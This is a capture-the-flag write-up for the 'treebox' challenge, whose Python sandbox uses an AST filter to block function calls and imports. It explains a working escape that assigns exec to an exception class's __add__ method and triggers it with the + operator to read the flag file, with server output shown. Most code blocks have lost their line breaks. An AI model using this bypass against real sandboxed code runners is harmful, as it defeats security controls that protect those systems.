## Challenge description
![image](https://user-images.githubusercontent.com/24471300/178110819-a099530b-9301-4f65-84a6-cfb78638fcec.png)
The challenge was at a netcat server. We were also provided with a python file treebox.py:
```python#!/usr/bin/python3 -u## Flag is in a file called "flag" in cwd.## Quote from Dockerfile:#   FROM ubuntu:22.04#   RUN apt-get update && apt-get install -y python3#import astimport sysimport os
def verify_secure(m):  for x in ast.walk(m):    match type(x):      case (ast.Import|ast.ImportFrom|ast.Call):        print(f"ERROR: Banned statement {x}")        return False  return True
abspath = os.path.abspath(__file__)dname = os.path.dirname(abspath)os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")source_code = ""while True:  line = sys.stdin.readline()  if line.startswith("--END"):    break  source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)if verify_secure(tree):  # Safe to execute!  print("-- Executing safe code:")  compiled = compile(source_code, "input.py", 'exec')  exec(compiled)```
## Almost everything blocked!
Running `treebox.py`, it was asking to enter code ending with "--END". If we try to simply read the flag, it was obvious it wouldn't work:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)print(open('flag').read())--ENDERROR: Banned statement <ast.Call object at 0x0000021E8D097580>```
At first I thought it was only filtering the dangerous functions like `exec` and `eval`, but apparently all function calls were blocked. 
```aa29>python treebox.py-- Please enter code (last line must contain only --END)print("1")--ENDERROR: Banned statement <ast.Call object at 0x00000183DBAC7580>```
It was also blocking `import` command:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)import os--ENDERROR: Banned statement <ast.Import object at 0x000001F1D4997850>```
My first intuition was to try out creating a class with the code to print the flag in its constructor `__init__` so that when I create the object, it would run. But again creating a new object is like a function call anyways and it got blocked as:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)class A:  def __init__(self):    passa = A()--ENDERROR: Banned statement <ast.Call object at 0x00000233873FED70>```
## What was allowed?
Static access of functions (not actual calls) and operator-based evaluation was considered safe though:
```aa29>python treebox.py-- Please enter code (last line must contain only --END)class A():  def b():    passA.bc=8a=c+9--END-- Executing safe code:```
So the challenge was here to pass the arguments without actually making a function call. And that was when it hit me: The solution must be somewhere around magic/dunder methods in python!
## Magic/Dunder methods
You can actually overload the operators in python using the double-underscore or dunder methods like `__add__`, `__sub__`, etc. For instance, this example from [www.geeksforgeeks.org](https://www.geeksforgeeks.org/operator-overloading-in-python/)
```pythonclass A:    def __init__(self, a):        self.a = a     # adding two objects    def __add__(self, o):        return self.a + o.aob1 = A(1)ob2 = A(2)ob3 = A("Geeks")ob4 = A("For") print(ob1 + ob2)print(ob3 + ob4)```
In the operation `ob1 + ob2` you are basically using the `+` operator to call the `__add__` method within object `ob1` with `ob2` as parameter `o`. This would evaluate to `3`.
## Creating an object
So we can use operator-overloading to call functions on objects,  there was still a challenge on how to create an actual object. I searched for it online on ctf writeups and wikis and came across with this neat idea:
```pythonclass K(Exception):...
try:    raise Kexcept K as k:    k```
So, basically we are raising an exception with class K(inheriting class Exception) and it gets caught in except block as an object k.
## The solution
Combining the object creation trick and operator-overloading trick, this was the solution I came up with:
```pythonclass A(Exception):        def __add__(self,toexec):                return 1A.__add__ = exectry:        raise Aexcept A as a:        a+"print(open('flag').read())"```
I sent the code to the netcat server and got the flag:```Received: b'== proof-of-work: disabled ==\n'Received: b'-- Please enter code (last line must contain only --END)\n'Received: b'-- Executing safe code:'Received: b'\nCTF{CzeresniaTopolaForsycja}\n\n'```